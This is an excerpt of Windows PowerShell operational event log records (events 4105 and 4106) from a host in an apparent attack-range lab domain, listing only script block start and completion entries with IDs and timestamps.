SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039669
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039668
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039667
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039666
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039665
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039664
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039663
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039662
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039661
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039660
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039659
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039658
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039657
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039656
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039655
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039654
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039653
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039652
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039651
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039650
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039649
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039648
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039647
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039646
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039645
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039644
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039643
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039642
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039641
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039640
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039639
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039638
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039637
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039636
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039635
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039634
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039633
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039632
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039631
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039630
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039629
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039628
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039627
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039626
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039625
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039624
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039623
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039622
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039621
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039620
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039619
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039618
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039617
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
